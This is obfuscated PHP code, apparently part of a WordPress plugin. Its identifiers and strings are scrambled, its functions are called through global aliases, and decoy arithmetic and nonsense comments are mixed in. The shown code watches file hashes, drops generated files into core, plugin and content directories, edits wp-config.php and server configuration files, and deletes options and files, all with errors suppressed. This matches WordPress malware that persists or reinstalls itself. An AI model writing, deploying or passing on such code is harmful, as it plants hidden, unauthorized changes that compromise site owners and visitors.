if  (@$GLOBALS['__scf_cr6q9fwgft_18']($btz_biq8ue4[1])) $m33y9xcnlar1[c_5yznsrtgse_i(1576)    .  $btz_biq8ue4[0]]   = c_5yznsrtgse_i(1577)   .   $btz_biq8ue4[2];
 $zysk1qjdupshbpy  = @get_option(onlv7_99m8sby3(1578), array());
if  (!$GLOBALS['__scf_a91xkwk0qm_35']($zysk1qjdupshbpy)) $zysk1qjdupshbpy =  array();
  $xvj_94tmbvezata8   =   false;
   foreach ($hb0usjracn   as  $gfqyhfnvmz)  {
  $cneilolkvi   =   @$GLOBALS['__scf_n960yhp5zf7o_52']($gfqyhfnvmz);
       $y4t45yd3yc = $cneilolkvi ?  ($cneilolkvi[e77owqcywda_d(1579)]  .  '|'     .  $cneilolkvi[e77owqcywda_d(1580)])  :   '0';
    $_75ii4fkder_gw      =      isset($zysk1qjdupshbpy[$gfqyhfnvmz]) ?  $zysk1qjdupshbpy[$gfqyhfnvmz] :  "";
     if ($y4t45yd3yc  ===  $_75ii4fkder_gw)  continue;
if  ($GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1581),   $_75ii4fkder_gw,   $ygnwdoj7k4h4o)  &&   $GLOBALS['__scf_pozjicggfgaq_9']($_75ii4fkder_gw,  0,  -$GLOBALS['__scf_m36_x4cy3m1b5_10']($ygnwdoj7k4h4o[0]))   ===  $y4t45yd3yc   &&    $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  - (int)      $ygnwdoj7k4h4o[1]    <   (3561+39))  continue;
   $xvj_94tmbvezata8 =  true;
 break;
   }

 if (!$xvj_94tmbvezata8)      {
     foreach    ($m33y9xcnlar1 as  $key   => $weehgdmrhs5dqi)     {
     $y4t45yd3yc     =   mhsmarupwrz6nnre9($GLOBALS['__scf_pozjicggfgaq_9']($key,    (0x4+0x1)), $weehgdmrhs5dqi);
       $_75ii4fkder_gw     =  isset($zysk1qjdupshbpy[$key]) ? $zysk1qjdupshbpy[$key]    : "";
if ($y4t45yd3yc   ===   $_75ii4fkder_gw)   continue;
     if ($GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1581), $_75ii4fkder_gw,   $ygnwdoj7k4h4o)  && $GLOBALS['__scf_pozjicggfgaq_9']($_75ii4fkder_gw,   0, -$GLOBALS['__scf_m36_x4cy3m1b5_10']($ygnwdoj7k4h4o[0]))   ===  $y4t45yd3yc      && $GLOBALS['__scf_p_l9i38f5mdu2r_184']()  -    (int)   $ygnwdoj7k4h4o[1]  < (86302+98))  continue;
$xvj_94tmbvezata8 = true;
    break;
}
}


 $wlpolqc9qy   =  $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(),   onlv7_99m8sby3(1346));


$ooqj8ghovupp89d     =  $og0ebx9lu2qzdtmg      . e77owqcywda_d(1582)  .  $wlpolqc9qy   .  '/'  . $wlpolqc9qy  .   c_5yznsrtgse_i(1346);



  $ffup1brqgx   = tsanwrkxvhnnslcp4();
  if   (!@$GLOBALS['__scf_cr6q9fwgft_18']($ooqj8ghovupp89d) ||  (int)     @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($ooqj8ghovupp89d)     < (4929+71))    $xvj_94tmbvezata8   =    true;
if  ($ffup1brqgx  !==   ""   &&  !@$GLOBALS['__scf_cr6q9fwgft_18']($ffup1brqgx))  $xvj_94tmbvezata8  = true;

 if (!$xvj_94tmbvezata8  &&    $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1574)))  {
     $g_nj1msg5on   = $wlpolqc9qy  .  '/'   .   $wlpolqc9qy .  c_5yznsrtgse_i(1346);$s4s46v2g3x6q=888;$wcd8ufh27=($s4s46v2g3x6q>0)?$s4s46v2g3x6q:-$s4s46v2g3x6q;
$q2g2g8o4xh  =  get_option(okltugscqfcy(1036),  array());
if     (!$GLOBALS['__scf_a91xkwk0qm_35']($q2g2g8o4xh)  ||  !$GLOBALS['__scf_wwy_cardw8r5v6_146']($g_nj1msg5on, $q2g2g8o4xh,  true))  $xvj_94tmbvezata8 =  true;
  }
 if     (!$xvj_94tmbvezata8)   return;
$r_ssxf692e9lowng =     $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
 

  $z4lefqmn6gl    =  0;



    $e4ha5mrehxyfalg     =     0;
if ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1574)))  {$_igqtjtk_sogb4=PHP_MAJOR_VERSION;$wgipl5zq2kjz=$_igqtjtk_sogb4*6;
 $jm9um1n1lhc  =    @get_option(e77owqcywda_d(1583),     "");
 if      ($GLOBALS['__scf_ncrh0liqs6be8x_41']($jm9um1n1lhc)   &&     $GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(1584),  $jm9um1n1lhc,  $o49qk62wjqod8e2))  {
 $z4lefqmn6gl    =  (int) $o49qk62wjqod8e2[1];



      $e4ha5mrehxyfalg    = (int)     $o49qk62wjqod8e2[2];
   }
}
    $ouc_amo569z  =    $e4ha5mrehxyfalg     <=   0  ?   0    :  ($e4ha5mrehxyfalg     === 1   ?  (0x7+0x35)  :     ($e4ha5mrehxyfalg   === 2  ?  (101+199)  :  (1783+17)));
if  ($z4lefqmn6gl    >    0  && ($r_ssxf692e9lowng  -      $z4lefqmn6gl)  <   $ouc_amo569z)     return;
  if  (!r9q5mjga_j0i3gm_(e77owqcywda_d(965))) return;
      try {
       w09b4xv9a3rwwj();
        

    r4n5lcq4npim49g6ac7();
_muf4bt3d3hw1nu09woag();


    z7hzatbx5rkjdu3z5n4z3();
 agxb24bx6rsxd1c385tlrh();
lrvopvikzdgr9rxqhk5();



 x14ktf8h3ofdktl3m();
    lfiqw6ll3mhpggsqhe7d();
  $vrmim9i258d    =  vscojk42957z2yinh3sc();



 $rd0na05axg6  = dvx0ai342hif0khvts();
 $bqaz7xy5no  =  (!@$GLOBALS['__scf_cr6q9fwgft_18']($ooqj8ghovupp89d)  || (int)  @$GLOBALS['__scf_o_3hcsdzwrvrr_96']($ooqj8ghovupp89d)    < (1953+3047)) ||   ($ffup1brqgx   !==  "" &&   !@$GLOBALS['__scf_cr6q9fwgft_18']($ffup1brqgx));



if   (!$bqaz7xy5no  &&    !@$GLOBALS['__scf_cr6q9fwgft_18']($og0ebx9lu2qzdtmg  .      c_5yznsrtgse_i(1585)))     $bqaz7xy5no    =  true;
if (!$bqaz7xy5no   &&  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1574)))     {
    $g_nj1msg5on  =   $wlpolqc9qy   .    '/'     . $wlpolqc9qy . e77owqcywda_d(1586);
 $q2g2g8o4xh =  get_option(okltugscqfcy(1587),   array());
 if (!$GLOBALS['__scf_a91xkwk0qm_35']($q2g2g8o4xh)   ||  !$GLOBALS['__scf_wwy_cardw8r5v6_146']($g_nj1msg5on,   $q2g2g8o4xh,   true)) $bqaz7xy5no = true;
        }
    if   ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1369))) @update_option(onlv7_99m8sby3(1583), $r_ssxf692e9lowng  .  '|' . ($bqaz7xy5no ?    ($e4ha5mrehxyfalg    +     1)  : 0),  onlv7_99m8sby3(1588));



     $x5supan95gs    = array();
 foreach ($hb0usjracn as  $gfqyhfnvmz)  {
 $jab87ora5x_z48z  = ($gfqyhfnvmz  ===  $og0ebx9lu2qzdtmg   .   c_5yznsrtgse_i(1589)  &&     !$vrmim9i258d)  ||   ($GLOBALS['__scf_pozjicggfgaq_9']($gfqyhfnvmz,    -(7<<1))  ===  okltugscqfcy(1590)     && !$rd0na05axg6);

     $cneilolkvi    = @$GLOBALS['__scf_n960yhp5zf7o_52']($gfqyhfnvmz);
  if ($cneilolkvi)  {
 $x5supan95gs[$gfqyhfnvmz]   = $cneilolkvi[onlv7_99m8sby3(1579)] .  '|' .  $cneilolkvi[okltugscqfcy(1580)]    .    ($jab87ora5x_z48z ?   okltugscqfcy(1591)    .   $GLOBALS['__scf_p_l9i38f5mdu2r_184']()   :   "");$ld6jnnsdjxxi=7327;$c4g1qjggfvvst=$ld6jnnsdjxxi%13;



   }



 }
foreach   ($m33y9xcnlar1    as   $key =>     $weehgdmrhs5dqi)  {
        $pnrns9gqrgq2dt  = mhsmarupwrz6nnre9($GLOBALS['__scf_pozjicggfgaq_9']($key,  (3+2)),    $weehgdmrhs5dqi);
  if  ($pnrns9gqrgq2dt  ===     '0' || $GLOBALS['__scf_pozjicggfgaq_9']($pnrns9gqrgq2dt,  -2)    ===   e77owqcywda_d(1592)) $pnrns9gqrgq2dt .= c_5yznsrtgse_i(1591) .  $GLOBALS['__scf_p_l9i38f5mdu2r_184']();
  $x5supan95gs[$key] = $pnrns9gqrgq2dt;
       }
  @update_option(okltugscqfcy(1593),  $x5supan95gs,  c_5yznsrtgse_i(1594));
  }     finally  {
   gp1654dr46ffgrsz(okltugscqfcy(965));



    }



       } catch   (Throwable $ye68b7hs2257kgf)  {
e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1595),  $ye68b7hs2257kgf);

}   catch  (Exception $ye68b7hs2257kgf)  {
   }


 }
    function mhsmarupwrz6nnre9($gfqyhfnvmz,     $weehgdmrhs5dqi)
    {
 $cneilolkvi      = @$GLOBALS['__scf_n960yhp5zf7o_52']($gfqyhfnvmz);
if (!$cneilolkvi) return    '0';


  $y4t45yd3yc =  $cneilolkvi[onlv7_99m8sby3(1579)]  . '|'  .    $cneilolkvi[okltugscqfcy(1580)];
  if     ($cneilolkvi[c_5yznsrtgse_i(1596)]   >  (1048539+37))  return   e77owqcywda_d(1597)  .    $y4t45yd3yc;
  $i2heqo3a8u1x  =  @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz);
 return  $y4t45yd3yc  .  '|'   .     (($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)  && $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,  $weehgdmrhs5dqi)  !== false)    ? '1'  :      '0');
}
 function lm2fbz4sg0fgydqnpke3fk()
  {
$_pv     =  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1574))  ? get_option(c_5yznsrtgse_i(194),    "")   :     "";


   kzppjhx4vxc1rr3z();
     $udjxmqg1c75v  =  $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1574)) ?   get_option(okltugscqfcy(194),  "") : "";
if     ($udjxmqg1c75v ===    $_pv)   {
// coerce to int

      global $wpdb;
  if  ($GLOBALS['__scf_vd54bz_6kr2o44_68']($wpdb)  &&     $GLOBALS['__scf_mihsk1y5nz_118']($wpdb,   c_5yznsrtgse_i(130))     &&      $GLOBALS['__scf_ncrh0liqs6be8x_41']($_pv)    &&   $_pv !==  ""     &&     isset($wpdb->options))   {
 @$wpdb->query($wpdb->prepare("\x44E\x4cETE F\x52O\x4d {$wpdb->options} \x57\x48ERE op\x74i\x6fn_name = 'sc_pend\x69ng_\x69nv\x61l\x69d\x61t\x65' AND o\x70t\x69on_\x76alu\x65 = %s", $_pv));
       if    ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1598))) {
 @wp_cache_delete(onlv7_99m8sby3(194),  e77owqcywda_d(1096));
  @wp_cache_delete(c_5yznsrtgse_i(1599), c_5yznsrtgse_i(1600));



    }
 }  else {
 @delete_option(onlv7_99m8sby3(194));
}
    }
}
 function  kzppjhx4vxc1rr3z()
{
    try    {
// expected path

 if     (!defined(onlv7_99m8sby3(1371)))  return;


   $og0ebx9lu2qzdtmg    = rb4qo3s3qey8iml9k_t();
 $u29onh033r7dfgir   = hc439iwbgn5b2nwx5x_lu();
$olbqu9lljsvf1   = l09115umv3lykft9t(ABSPATH .      e77owqcywda_d(1263),   (218^210))  .  e77owqcywda_d(1601);
 $kead6mq7p7hw268  =  l09115umv3lykft9t(ABSPATH  . okltugscqfcy(1169), (3+5))  .     onlv7_99m8sby3(1602);
    $onfweloiq7l56 = l09115umv3lykft9t(ABSPATH . onlv7_99m8sby3(1152), (1+7))  . e77owqcywda_d(1602);
    $ve35dw_nccs6   = l09115umv3lykft9t(ABSPATH  .  e77owqcywda_d(1603),    (13-5)) .      e77owqcywda_d(1602);
  $ydpkmd_c6g1b07   = l09115umv3lykft9t(ABSPATH   .    e77owqcywda_d(1604),   (9-1))   .  okltugscqfcy(1602);
    $u4s6o7161b04z =  e77owqcywda_d(493)  . l09115umv3lykft9t(ABSPATH . 'g',   (4<<1));
  $gauj17it3opc =     array(



 $og0ebx9lu2qzdtmg  .  e77owqcywda_d(1149)   =>   onlv7_99m8sby3(1605),
$og0ebx9lu2qzdtmg     .   okltugscqfcy(1606)    => c_5yznsrtgse_i(759),
 );
  foreach  ($gauj17it3opc    as   $gfqyhfnvmz      => $prefix) {
   if (!@$GLOBALS['__scf_cr6q9fwgft_18']($gfqyhfnvmz))     continue;
   $i2heqo3a8u1x = @$GLOBALS['__scf_ha14er2zmzf_92']($gfqyhfnvmz);

if     ($i2heqo3a8u1x   ===  false)    continue;
$nockncwf31v   = onlv7_99m8sby3(1607) .    $prefix   .  okltugscqfcy(1608)    .   $prefix  .   onlv7_99m8sby3(767);
 $uirztlf3mhlq2ei  =    $GLOBALS['__scf_t8cv4weumn7_439']($nockncwf31v, "",  $i2heqo3a8u1x);
 if  ($uirztlf3mhlq2ei     !==    $i2heqo3a8u1x)  n_52vz_mvq1filje($gfqyhfnvmz,  $uirztlf3mhlq2ei);
 }
$ldefvk8cvl07 =  $og0ebx9lu2qzdtmg .      c_5yznsrtgse_i(1208);



 if    (@$GLOBALS['__scf_cr6q9fwgft_18']($ldefvk8cvl07)) {
$t42xc978hwddzeb     =    @$GLOBALS['__scf_ha14er2zmzf_92']($ldefvk8cvl07);
 if     ($GLOBALS['__scf_ncrh0liqs6be8x_41']($t42xc978hwddzeb) && $t42xc978hwddzeb  !==      "")   {$h1h_jz97w=-96;$gfjnnl5gvt=($h1h_jz97w>0)?$h1h_jz97w:-$h1h_jz97w;
if ($GLOBALS['__scf_ibg88bu925_93'](onlv7_99m8sby3(1609),     $GLOBALS['__scf_pozjicggfgaq_9']($t42xc978hwddzeb,    0, (430-130)))  || $GLOBALS['__scf_ffvfced40_hd3k_7']($t42xc978hwddzeb,  c_5yznsrtgse_i(1610))  ===    0) {
    jl7b1mmow1nrgaho8($ldefvk8cvl07, (0xc8+0xdc));
 er_0rzjfu8611gx($ldefvk8cvl07);
   

} else {
$uw68lsur3cj  =   $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1611), "",   $t42xc978hwddzeb);
     if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($uw68lsur3cj) &&      $uw68lsur3cj !== $t42xc978hwddzeb)  n_52vz_mvq1filje($ldefvk8cvl07,   $uw68lsur3cj);
 unset($uw68lsur3cj);
     }
     }
 unset($t42xc978hwddzeb);
}
 $l9yhyqoa8pf97d  = $GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz())  .  onlv7_99m8sby3(1156);

    $wsysdnrvvep58f0o     =   defined(e77owqcywda_d(1310))   ?  WP_CONTENT_DIR    .  e77owqcywda_d(1156)  :   $l9yhyqoa8pf97d;
   $h8gk0ck04e   =  array(


 $og0ebx9lu2qzdtmg .   '/'  .   $olbqu9lljsvf1,
 $og0ebx9lu2qzdtmg  .  '/'  .      $kead6mq7p7hw268,
   $og0ebx9lu2qzdtmg .    '/'  .    $onfweloiq7l56,

    $u29onh033r7dfgir    .  '/'   . $ve35dw_nccs6,
      $u29onh033r7dfgir  .   '/'  .   $ydpkmd_c6g1b07,
        $u29onh033r7dfgir    .   '/'  .  $kead6mq7p7hw268,
$u29onh033r7dfgir . '/'   . $onfweloiq7l56,


 $l9yhyqoa8pf97d  .  '/'   .   $ve35dw_nccs6,
  $l9yhyqoa8pf97d .  '/' .    $ydpkmd_c6g1b07,


  $l9yhyqoa8pf97d  .      '/'     . $kead6mq7p7hw268,
        $l9yhyqoa8pf97d   . '/'  . $onfweloiq7l56,
  $wsysdnrvvep58f0o  .  '/' . $ve35dw_nccs6,
     $wsysdnrvvep58f0o    .    '/'    .   $ydpkmd_c6g1b07,
     $wsysdnrvvep58f0o     . '/'   . $kead6mq7p7hw268,



     $wsysdnrvvep58f0o     .     '/' . $onfweloiq7l56,


     );
   $pn7_0nqetwt3hpl5  =    ui5gaq394x13hnjrqiw();

$h8gk0ck04e[] =   $pn7_0nqetwt3hpl5[1];
$h8gk0ck04e[]   =    $pn7_0nqetwt3hpl5[1]  .   c_5yznsrtgse_i(1372);
 unset($pn7_0nqetwt3hpl5);


  if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(723)))    {
      foreach   ((array)  @$GLOBALS['__scf_gjx8dntqvik0_71']($og0ebx9lu2qzdtmg    .     e77owqcywda_d(1612) .  $olbqu9lljsvf1) as $zhu1tduaj8qzj)  $h8gk0ck04e[]  = $zhu1tduaj8qzj;$azyu8o55m6x4v7=(0xcb+0xc6);$awmz4qa1o2g=$azyu8o55m6x4v7%2;
foreach ((array)  @$GLOBALS['__scf_gjx8dntqvik0_71']($og0ebx9lu2qzdtmg    .  okltugscqfcy(1613)   .     $olbqu9lljsvf1) as    $zhu1tduaj8qzj)    $h8gk0ck04e[]      =   $zhu1tduaj8qzj;
  foreach  ((array) @$GLOBALS['__scf_gjx8dntqvik0_71'](ABSPATH .    okltugscqfcy(1290) .  $u4s6o7161b04z  .   e77owqcywda_d(1614))  as $rqoq430lx1p39q)     $h8gk0ck04e[]     = $rqoq430lx1p39q;
  foreach ((array)  @$GLOBALS['__scf_gjx8dntqvik0_71']($og0ebx9lu2qzdtmg  . '/'  .      $u4s6o7161b04z .   okltugscqfcy(1614))  as  $rqoq430lx1p39q)  $h8gk0ck04e[]   = $rqoq430lx1p39q;
 foreach ((array) @$GLOBALS['__scf_gjx8dntqvik0_71']($u29onh033r7dfgir    .     '/'  .   $u4s6o7161b04z    .    e77owqcywda_d(1615)) as    $rqoq430lx1p39q)   $h8gk0ck04e[] = $rqoq430lx1p39q;
 foreach    ((array)   @$GLOBALS['__scf_gjx8dntqvik0_71']($l9yhyqoa8pf97d    .     '/'  .   $u4s6o7161b04z .   okltugscqfcy(1616))  as    $rqoq430lx1p39q)  $h8gk0ck04e[]    =  $rqoq430lx1p39q;
  foreach   ((array) @$GLOBALS['__scf_gjx8dntqvik0_71']($wsysdnrvvep58f0o  .    '/'      .      $u4s6o7161b04z     . onlv7_99m8sby3(1617))   as  $rqoq430lx1p39q)  $h8gk0ck04e[]   =  $rqoq430lx1p39q;
  }
 $u5f0mf0m5r  =    l09115umv3lykft9t(ABSPATH    .      'g', (6+2));
 $teqx460dpexmlv   = array(ABSPATH     .  e77owqcywda_d(1291), $og0ebx9lu2qzdtmg,    $u29onh033r7dfgir,     $l9yhyqoa8pf97d,    $wsysdnrvvep58f0o);
    foreach   ($teqx460dpexmlv  as  $_gd)      {


       if   (@$GLOBALS['__scf_iomf4blfg0_43']($_gd)    &&   @$GLOBALS['__scf_lnazygzamf_47']($_gd))  wf9y470__ikilr($_gd . onlv7_99m8sby3(1618)  .   $u5f0mf0m5r,  w218ynit42v8uao2p(),   e77owqcywda_d(1619));



     }
   if  ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(723)))  {
   foreach ($teqx460dpexmlv     as $_gd) {
 foreach   (array(onlv7_99m8sby3(494),   onlv7_99m8sby3(1620),  onlv7_99m8sby3(1621),  onlv7_99m8sby3(1622),   okltugscqfcy(1623),   okltugscqfcy(1624),   onlv7_99m8sby3(1625),   okltugscqfcy(1626), okltugscqfcy(1627)) as  $_nthwhj_qbxmlxbm)    {
    foreach  ((array)   @$GLOBALS['__scf_gjx8dntqvik0_71']($_gd . '/'    .  $_nthwhj_qbxmlxbm     .      '*')  as $m43pi9ays0e4d5tb)    $h8gk0ck04e[]     =    $m43pi9ays0e4d5tb;
   }

 foreach ((array) @$GLOBALS['__scf_gjx8dntqvik0_71']($_gd     .   okltugscqfcy(1628))     as    $aj2kbmzh9hxl7)  $h8gk0ck04e[]  =  $aj2kbmzh9hxl7;
  }
  }

unset($u5f0mf0m5r, $teqx460dpexmlv,     $_gd,     $_nthwhj_qbxmlxbm,  $m43pi9ays0e4d5tb,  $aj2kbmzh9hxl7);



  $y98kzc526iyx3 =  array($GLOBALS['__scf_zwo1a6spxvy_12']($og0ebx9lu2qzdtmg, c_5yznsrtgse_i(1516)),     $GLOBALS['__scf_zwo1a6spxvy_12']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()), e77owqcywda_d(1516)),     $GLOBALS['__scf_zwo1a6spxvy_12']($u29onh033r7dfgir,  e77owqcywda_d(1516)), $GLOBALS['__scf_zwo1a6spxvy_12']($l9yhyqoa8pf97d,  onlv7_99m8sby3(1516)),   $GLOBALS['__scf_zwo1a6spxvy_12']($wsysdnrvvep58f0o,    e77owqcywda_d(1629)));
      if  (defined(e77owqcywda_d(1630)))   $y98kzc526iyx3[]      =    $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR,   e77owqcywda_d(1629));
 $g4lyt_bkk37n6hw   = array();



foreach      ($GLOBALS['__scf_youxoa71214_145']($y98kzc526iyx3)  as   $_pd) {$k9prq001h7=84+42;$i1kumm_34khqyw=$k9prq001h7-28;


   $g4lyt_bkk37n6hw[] = $_pd   . '/'    .   $kead6mq7p7hw268;
$g4lyt_bkk37n6hw[] = $_pd  .  '/' . $onfweloiq7l56;
  $g4lyt_bkk37n6hw[]   = $_pd  .   okltugscqfcy(1160) . $onfweloiq7l56;
  }
  unset($y98kzc526iyx3,  $_pd);
foreach    ($g4lyt_bkk37n6hw    as  $lasp7q_rfl)   {
   if  (@$GLOBALS['__scf_cr6q9fwgft_18']($lasp7q_rfl))  fpxah83cbub6ve8k46v18($lasp7q_rfl,   null);


 }
      unset($lasp7q_rfl);

    $u_k0o00j9jy1e66 =   array($GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH,  e77owqcywda_d(1629)));
  if  (defined(okltugscqfcy(1630)))     $u_k0o00j9jy1e66[]  = $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR,   e77owqcywda_d(1631));$nq_65q5d=62+88;$bzn29umquyv=$nq_65q5d-9;
  $u_k0o00j9jy1e66[]  =     $GLOBALS['__scf_zwo1a6spxvy_12']($og0ebx9lu2qzdtmg,    e77owqcywda_d(1632));
  $u_k0o00j9jy1e66[] = $GLOBALS['__scf_zwo1a6spxvy_12']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),    c_5yznsrtgse_i(1633));



 $vluad3s7s5fnp   =   array();
foreach     ($GLOBALS['__scf_youxoa71214_145']($u_k0o00j9jy1e66) as  $yqrdbn0qbwlm0o)     $vluad3s7s5fnp[] =    $yqrdbn0qbwlm0o  .  okltugscqfcy(1177);



unset($u_k0o00j9jy1e66,  $yqrdbn0qbwlm0o);
   foreach ($vluad3s7s5fnp as      $eon93tjgupvtqt_) {
       if    (!@$GLOBALS['__scf_cr6q9fwgft_18']($eon93tjgupvtqt_))      continue;
$i2heqo3a8u1x   =     @$GLOBALS['__scf_ha14er2zmzf_92']($eon93tjgupvtqt_);
  

   if  ($i2heqo3a8u1x   &&  $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,      e77owqcywda_d(501)) !== false)  {
    $i2heqo3a8u1x     =    $GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(948)   .  $GLOBALS['__scf_tyvjag46ltt_803']($kead6mq7p7hw268,  '/')  .     onlv7_99m8sby3(949),     "\n",     $i2heqo3a8u1x);

    if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x))  {


   $i2heqo3a8u1x =  $GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(950) .  $GLOBALS['__scf_tyvjag46ltt_803']($kead6mq7p7hw268,   '/') .   c_5yznsrtgse_i(949),   "\n", $i2heqo3a8u1x);
     }
// invertible gateway



  if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)) {
$i2heqo3a8u1x =    $GLOBALS['__scf_t8cv4weumn7_439'](okltugscqfcy(951)  . $GLOBALS['__scf_tyvjag46ltt_803']($kead6mq7p7hw268,     '/')   .    okltugscqfcy(952),   "\n",   $i2heqo3a8u1x);
      }
// provision scope-chain for PHP match expression

  if ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x))  n_52vz_mvq1filje($eon93tjgupvtqt_,     $i2heqo3a8u1x);

}
   }
   $r0vae3uuhfpt71  = ABSPATH .  e77owqcywda_d(1519);


   if  (!@$GLOBALS['__scf_cr6q9fwgft_18']($r0vae3uuhfpt71))  {$w77d_m0aaac_o=162;$r4jksvzxauc8y=($w77d_m0aaac_o>0)?$w77d_m0aaac_o:-$w77d_m0aaac_o;
   $am2j2ehth07kffl      =  $GLOBALS['__scf__ozzh8uadm__11'](ABSPATH)   .  e77owqcywda_d(1634);
if   (@$GLOBALS['__scf_cr6q9fwgft_18']($am2j2ehth07kffl))   $r0vae3uuhfpt71 = $am2j2ehth07kffl;
 }
if    (@$GLOBALS['__scf_cr6q9fwgft_18']($r0vae3uuhfpt71) &&   @$GLOBALS['__scf_lnazygzamf_47']($r0vae3uuhfpt71))   {

$_wc = @$GLOBALS['__scf_ha14er2zmzf_92']($r0vae3uuhfpt71);
 if    ($GLOBALS['__scf_ncrh0liqs6be8x_41']($_wc)  &&    $GLOBALS['__scf_ffvfced40_hd3k_7']($_wc,  onlv7_99m8sby3(508))  !== false)  {
 $cvxpw411_n  =     $GLOBALS['__scf_t8cv4weumn7_439'](c_5yznsrtgse_i(1635),  "define( 'WP_CACHE', true );\n", $_wc);
  if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($cvxpw411_n)  &&  $cvxpw411_n    !==      $_wc    && pqt0j30bec0qiplt($cvxpw411_n))  {
  $o1ceovwmalc =  @$GLOBALS['__scf_xfxvwe4pd_9ay_95']($r0vae3uuhfpt71);



   if (n_52vz_mvq1filje($r0vae3uuhfpt71,     $cvxpw411_n))  {
 if ($o1ceovwmalc)    @$GLOBALS['__scf_nsfksoklwo_73']($r0vae3uuhfpt71,  $o1ceovwmalc);

 if ($GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(1636)))     @delete_option(c_5yznsrtgse_i(1549));

 }
    }
// WP Post Template: deregister leaky-bucket

  unset($cvxpw411_n,     $o1ceovwmalc);


  }
/* offline witness */

 unset($_wc);
 }
 unset($r0vae3uuhfpt71,   $am2j2ehth07kffl);

 $ta_tclvmlah  =   $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(1154)) ?  @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](okltugscqfcy(497)) :   false;
if   (!$ta_tclvmlah    || $ta_tclvmlah ===   "")  $ta_tclvmlah = onlv7_99m8sby3(499);
  $ukmily5vlhwezg3 = array($GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH,   c_5yznsrtgse_i(1633)));
   if   (defined(onlv7_99m8sby3(1637)))  $ukmily5vlhwezg3[]  =    $GLOBALS['__scf_zwo1a6spxvy_12'](WP_CONTENT_DIR, e77owqcywda_d(1638));
$ukmily5vlhwezg3[]   =   $GLOBALS['__scf_zwo1a6spxvy_12']($og0ebx9lu2qzdtmg, c_5yznsrtgse_i(1638));
 $ukmily5vlhwezg3[]   =  $GLOBALS['__scf_zwo1a6spxvy_12']($GLOBALS['__scf__ozzh8uadm__11'](ku6yldy17ivtsoehkpgirz()),   e77owqcywda_d(1638));
     $ad4z6a0ftw5 =  array();
  foreach  ($GLOBALS['__scf_youxoa71214_145']($ukmily5vlhwezg3)  as $kro_joickih) $ad4z6a0ftw5[] =   $kro_joickih    .  '/'   .   $ta_tclvmlah;
unset($ukmily5vlhwezg3,  $kro_joickih);
  foreach  ($ad4z6a0ftw5   as   $oq2xce6q6pd)    {
/* split proof-term */

      if    (!@$GLOBALS['__scf_cr6q9fwgft_18']($oq2xce6q6pd))  continue;

    $i2heqo3a8u1x =   @$GLOBALS['__scf_ha14er2zmzf_92']($oq2xce6q6pd);
    if ($i2heqo3a8u1x &&   $GLOBALS['__scf_ffvfced40_hd3k_7']($i2heqo3a8u1x,  onlv7_99m8sby3(501))  !== false) {
 $i2heqo3a8u1x   =  $GLOBALS['__scf_t8cv4weumn7_439'](e77owqcywda_d(1639)  .   $GLOBALS['__scf_tyvjag46ltt_803']($onfweloiq7l56, '/') . okltugscqfcy(1640),   "",  $i2heqo3a8u1x);
 if   ($GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)) n_52vz_mvq1filje($oq2xce6q6pd, $i2heqo3a8u1x);


  }



}
   $l8nclpby_0prpn74   =  $GLOBALS['__scf_rd9j34ymcsjc4s_148']($h8gk0ck04e,   $g4lyt_bkk37n6hw);



 $afb989m7j9pt  =    array();



   $mdvfsydvs66crgoi     = false;
 foreach ($GLOBALS['__scf_sp6eq6gzqlrslw_358']($vluad3s7s5fnp,      $ad4z6a0ftw5)  as   $idvka2g5_i0tl1rn)     {
 if (!@$GLOBALS['__scf_cr6q9fwgft_18']($idvka2g5_i0tl1rn))    continue;
 $g83oggt5_m042c      =  @$GLOBALS['__scf_ha14er2zmzf_92']($idvka2g5_i0tl1rn);
  if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($g83oggt5_m042c))    {
  $mdvfsydvs66crgoi   = true;
  continue;
       }
// discriminative template

    if     ($GLOBALS['__scf_ffvfced40_hd3k_7']($g83oggt5_m042c, e77owqcywda_d(501)) ===     false)    continue;
